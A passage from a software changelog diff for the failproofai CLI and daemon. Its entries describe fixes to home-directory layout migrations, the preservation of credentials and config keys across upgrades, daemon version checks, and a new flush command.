collector versus a silent one. Found while working out what to tell customers to run on upgrade — a beta.12 machine would have kept a beta.12 daemon reading a layout-3 home, which stops collection and cloud-policy reconciliation without saying so. (#663) + - Stop `failproofai migrate --dry-run` listing a file twice. `legacy.policyConfig()` and `globalPolicyConfigFile()` are the SAME path — layout 3 put the policy config back exactly where layout 1 kept it — so any caller walking both lists sees it once per list. `backupBeforeMigrating` deduped; `describePlan` built the same list again and did not, so the dry run printed `policies-config.json` twice while the backup correctly wrote it once. Seen on a real layout-1 machine, in the one command whose entire job is to state accurately what is about to happen. Both call sites now share a single walk rather than the second copy being patched, which is the same "state it once, derive the rest" move `resettablePaths()` makes over `HOME_CLASSES`; a test pins the dry run's list against what the backup actually writes, so the two cannot disagree again. (#663) ## 1.0.0-beta.16 — 2026-08-10 @@ -158,12 +201,19 @@ never "blocked". ### Fixes - Carry every key of a layout-2 policy config, not the eight the old allowlist knew. `readCarriedPolicyConfig` filtered the nested `policies/local-policies/policies-config.json` down to a named list, so anything outside it was dropped — including a key a newer build had written into a layout-2 file. That is the same loss the `config.json` round-trip fix addresses, arriving by a third door, and it was caught by a smoke test on a seeded home: a `futureKey` was simply gone after the migration, silently. The carry now preserves every key and deletes only the retired ones, which is the rule the rest of this work follows — unowned keys survive, dead ones go. `collector` is still removed, because it is camelCase and layout 2 moved those settings to `config.json` in snake_case, so leaving it reads as a preserved setting and behaves like an absent one. (#663) + - Stop `failproofai migrate --dry-run` reporting "nothing to migrate" on every stale machine. The automatic layout check at the CLI entry point runs ahead of every command that is not `--help` or `--version`, so by the time the subcommand looked, the home had already been migrated — which is the one answer a dry run must never give wrongly. `migrate` and `update` are exempt from that check and run the migration themselves. Only a smoke test on a seeded layout-2 home could catch this; nothing below the CLI entry point can see the ordering. (#663) + - Make `failproofaid` refuse to start against a home written by a layout it does not speak. Every path in `paths.rs` is correct for exactly one layout, and the daemon never read the marker saying which one is on disk — so a daemon whose version had drifted from the CLI's happily read and wrote layout-3 paths in a layout-4 home. That is the failure `fp-home.ts` exists to prevent: the daemon writes where nothing reads, silently, because an absent directory is indistinguishable from an idle one. The skew is routine rather than exotic — `npm i -g` replaces the CLI while the binary under `~/.failproofai/bin/failproofaid-` stays exactly where it was, which is the whole reason `daemonVersionSkew()` exists on the CLI side. The daemon now reads `VERSION` before it takes the singleton lock or binds its socket, and exits non-zero naming the layout it found and the remedy — which differs by direction, since an older home is one the CLI is about to migrate while a newer one means the daemon is the stale half. Both `VERSION` formats parse (layout 2 wrote TOML, layout 3 writes JSON), because refusing to start on a home that is merely *old* is exactly the case the CLI is about to fix and reporting the wrong remedy for the commonest upgrade there is would be worse than not checking. A home with **no** marker starts normally: a fresh one has none until the first CLI command stamps it, and refusing there would break the install itself. Only the layout number is compared — a CLI newer than its daemon is an ordinary state between an `npm i -g` and the next update, and taking a working machine down over a condition that resolves itself is not an improvement. The existing cross-language parity test now also asserts the Rust and TypeScript `LAYOUT_VERSION` constants agree, since the two disagreeing would make the daemon refuse a home the CLI considers current. (#663) + - Carry the layout-1 `cloud.json` and `ingest.json` credentials too, which is the upgrade real users will actually run. The published `latest` npm tag is still a pre-daemon 0.0.x release, so "install the current stable, then upgrade" is a **layout-1** → 3 migration — and layout 1 kept its credentials in two JSON files with a camelCase `machineId`, both on the retired list with nothing carrying them. So the same "machine silently off the fleet" failure fixed for layout 2 was still live on the more common path: the cloud token and the ingest key were both deleted, and the machine kept enforcing whatever it last had while reporting healthy. Verified against the real thing rather than a fixture: a container installs the published `failproofai@latest` (0.0.15), lets it write a genuine layout-1 home, upgrades to this build, and the token, ingest key, machine id, policy selection, hand-written policy file and decision log all survive — with the layout stamped 3, the step recorded in the ledger, and a backup taken. The layout-2 TOML still wins when a home somehow holds both, since it is the newer answer; an unreadable TOML falls through to layout 1 rather than returning early, because a corrupt newer file is not evidence that an older one is absent. (#663) + - Carry the layout-2 `config.toml` and `credentials.toml` across the upgrade to layout 3. Both files are on the retired list and **nothing carried them**, so a 2 → 3 upgrade deleted the cloud token and the ingest key outright, along with `daemon.configured` and `mode`. That is a machine silently off the fleet: it keeps enforcing whatever it last had, keeps reporting healthy, never reconciles cloud-managed policy again, and delivers nothing it spools — with no operator action that caused it and no message that said so. `HOME_CLASSES` stops this happening from layout 3 onward, but 2 → 3 is the upgrade that actually exists to be run. Only the telemetry opt-out was rescued before, on the grounds that the rest is "re-derived by setup or a thing the wizard re-asks" — true of a machine whose owner is about to re-run setup, and false of every other one: losing `daemon.configured` silently downgrades a machine from fail-closed enforcement to the in-process path, and losing `mode` disconnects it. The carry parses the TOML subset layout 2's own two writers emitted (`[table]` / `[dotted.table]` headers and `key = ` lines where every value went through `JSON.stringify`, so `JSON.parse` on the right-hand side is exact rather than approximate — no `toml` dependency comes back, which was half the point of layout 3), then runs the **same** `projectConfig` / `projectCredentials` projections the JSON readers use rather than a second reader that would have to be kept in step; the two formats already share their key names, so the only thing that differed was how bytes become an object. A malformed line is skipped rather than costing the user the whole file, a `[cloud]` table with no token is not written at all (a credentials file that looks present and authenticates nothing is worse than none), and the telemetry opt-out is applied last so a carried `enabled: true` — the shipped default, which is nobody's choice — cannot revoke it. (#663) + - Deliver what is already spooled immediately after a layout migration, so a machine that has just been upgraded does not sit on a backlog for a collector cycle while somebody watches a dashboard. The ordering is the subtlety, and the intuitive one is wrong: flushing *before* the migration cannot work, because `readConfig()` reads `config.json` and the ingest credential comes from `credentials.json` — both layout-3 files a stale home does not have — so it would find no credential on every machine it ever ran on, refuse, and report nothing pending. Running it after the carry above means both files exist. This is a convenience rather than the protection: the spool is `undelivered` in `HOME_CLASSES` and survives regardless, which is what matters, because `cursors/` survives too and the watermark has already advanced past every batch in it. Best-effort by construction — collection off, no credential, an unsupported platform or no daemon listening are all ordinary rather than errors, and a flush that throws cannot fail a migration. A backlog that survives anyway is named in the output rather than left silent, since "safe" and "delivered" are different states and only one of them shows up on a dashboard. (#663) + - Stop a layout upgrade deleting the cloud enrolment, the machine's settings, its undelivered events and its telemetry identity. Every path in `~/.failproofai` now declares what it HOLDS — `user-typed`, `undelivered`, `identity`, `derived`, `refetchable` or `ephemeral` — and the reset list is DERIVED from that rather than hand-maintained beside it. The rule: derived and re-fetchable may be dropped; anything a person typed, anything not yet delivered, and anything that identifies the machine is carried. Five paths stop being deleted as a result, each a real loss. `credentials.json` held the cloud token, so an upgrade dropped the machine out of cloud-managed policy silently — it kept enforcing whatever it last had, reported healthy, and never reconciled again. `config.json` held `daemon.configured` (the flag that makes a machine fail closed), the collector preferences, `[audit] auto` and every `extra_paths` a user typed. `state/spool`, `state/failed` and `custom-agents/` held events already read out of transcripts and queued for upload — and losing those is PERMANENT rather than slow, because `cursors/` deliberately survives so the watermark has already advanced past them and nothing will ever read that range again; the SDK spool is the same story. `state/telemetry-id` is how the CLI and the daemon agree on one PostHog person. `state/` was the sharpest of them: listing that parent is exactly how a reset came to take the spool and the identity along with a dozen scratch files, so its children are classified individually and the parent is not listed at all — anything under it this table has not been taught about now survives instead of being swept up. Because the policy selection, the settings and the enrolment all survive, a migrated machine is configured in fact and not merely in appearance, so the migration no longer forces an interactive `failproofai config` afterwards — which on a fleet box, a CI runner or a headless gateway is a prompt with nobody to answer it. A home that genuinely never finished setup still reaches the wizard by the ordinary route, because `isConfigured()` is false for it. The forgetting direction is inverted too: a path absent from the table is not deleted, so an oversight now leaves a stale file — loud and recoverable — instead of a deleted token. A test enumerates this module's own exports and fails on any path that is neither classified nor covered by a classified parent, which is the same shape as the two other cross-list guards in this repo. (#663) + - Stop `config.json` and `credentials.json` losing keys this build does not recognise. Both readers are whitelist projections — they name every key they understand and build a fresh object — and both writers regenerated the file wholesale from that projection, so any unrecognised key was erased on the next write. No layout change is involved: two CLI versions on the SAME layout round-trip these files and silently delete each other's keys, and most releases do not bump the layout, so `detectLayout()`'s newer-layout refusal never fires to protect them. `collector.sources..extra_paths` is the live case — added inside layout 3, so a CLI predating it drops every extra path a user typed on the first `updateConfig()` call, which is the entire output of `failproofai harness add-path`, and an absent capture root is indistinguishable from an idle one. `org` is the same story on the credentials side: its own doc records that it is absent in files written by an older CLI, which is precisely a key such a CLI deletes on write, taking the only local answer to "where does this machine's data go?" with it. Both writers now start from the previous bytes, strip only the keys they own, and lay the projection on top. Ownership has to run in both directions, and the second half is what makes it safe: an owned key ABSENT from the projection is a deliberate omission and is deleted, because these writers use absence to express state — `telemetry` is emitted only when switched off, `machine_id` only when set, `sources` only when non-empty — so a blind merge would resurrect them and a telemetry opt-out could never be revoked. `collector.sources` is keyed by harness name and therefore owned through a wildcard rather than wholesale, or a future per-harness sibling of `extra_paths` would be the same loss one level down. Emptied containers are pruned, so a machine that configured nothing still gets a file with no `telemetry` and no `sources` key at all. (#663) ### Docs @@ -175,8 +225,11 @@ never "blocked". ### Fixes - Remove an unused local in `readCarriedPolicyConfig()` (`src/hooks/fp-reset.ts`) left over from splitting the read/write phases of the layout-1→3 policy-config carry apart; the write target it computed belongs to the paired `writeCarriedPolicyConfig()` a few lines down. (#663) + - Remove `ino.ujh3/`, a test-sandbox directory (bun's install-cache `.pile` blobs and a fake `~/.failproofai` `VERSION`/state) accidentally committed alongside the layout-3 migration in `587d0567`. Nothing in the codebase referenced the path. (#663) + - Ignore bun's install-cache blobs and this CLI's own runtime state (`bin/`, `run/`, `state/`) wherever they appear, so a future smoke test whose `HOME` lands inside the repo can't recommit the class of file `ino.ujh3/` was. Scoped to leave the repo's own dogfood `/.failproofai/` (`policies-config.json`, `policies/`) untouched. (#663) + - Remove an unused `dirname` import in `__tests__/hooks/fp-reset.test.ts`, the other `noUnusedLocals` violation this branch was carrying (see #666). (#663) ## 1.0.0-beta.15 — 2026-08-09 @@ -197,58 +250,97 @@ never "blocked". ### Features - Reorganise `~/.failproofai` into layout 3, which changes three things about what a directory means. **Everything is JSON.** `config.toml` and `credentials.toml` become `config.json` and `credentials.json`, so one home has one parser and one escaping rule instead of two, and neither the CLI nor the daemon carries a TOML dependency to read files that were only ever flat key/value. **`policies/` holds policies, and only policies.** It also held `local-policies/` — our configuration, not a policy at all, which put the one file a user must never hand-edit among the ones they are told to drop in; that moves to `policies-config.json` at the home root. What stays is every policy on the machine: the user's own `*.mjs` directly in `policies/`, the fleet's under `policies/cloud-policies/`, so one directory answers "what governs this machine". Nesting them is safe because the convention loader does not recurse — `discoverPolicyFiles()` and `findSkippedPolicyFiles()` both filter `isFile()` — and that is now asserted against a real directory rather than assumed, because if either ever walks subdirectories then every cloud artifact becomes a convention policy loaded with NO digest check, which is the one thing `cloud-managed-policies.ts` exists to prevent. **Cloud deployments are flat.** `cloud-policies/generations//` kept a full copy of every artifact per deployment — a tree to create, prune and keep consistent with a per-deployment manifest, on top of the content-addressed `artifacts/` copy that already makes them immutable — so the copies bought nothing the digests did not. What remains is one `artifacts/` directory and an `active.json` naming what is live; activation is still atomic because it was always the manifest flip, never the file copy. The cost is stated where it is paid: a tampered artifact can no longer be rebuilt from the second on-disk copy, so an offline machine loses that policy until it can re-fetch. The safety property is unchanged either way — the hook path verifies every digest immediately before import, so tampered bytes are refused rather than run. (#663) + - Add `failproofai flush` — deliver what is already spooled, now. The collector is unhurried on purpose (a batch is swept once it is older than two minutes, at most 64 per pass, on a 60-second cadence), which is right for a backlog and exactly wrong for somebody standing at a dashboard waiting to see their own events: from there "not delivered yet" and "not working" look identical. The command asks the daemon for a pass with no minimum age and no cap, and `--wait` waits until the spool drains or its timeout expires, so a script can flush and then assert. It re-sends nothing — for history the collector already read past, that is still `backfill`. (#663) + - Rename the cloud-policy vocabulary: a **generation** is now a **deployment**, and a policy **revision** is a **version**. Both were words the product used nowhere else — a customer reads "deployment 7" and "version 3" without a glossary. The rename goes through the wire format and the on-disk manifest, not just the labels, and lands with the matching AgentEye change: a server and a daemon that disagree on these names means the fleet stops reconciling, silently. (#663) + - Capture sessions from more than one location per agent CLI. Every source watched exactly the place its own installer puts it — `~/.claude/projects`, `~/.hermes/state.db` — which is right for one machine and wrong for every other arrangement: a second profile, a mounted team share, a container's home beside the host's, an agent an operator relocated. Those hold real sessions and nothing collected them. `failproofai harness add-path [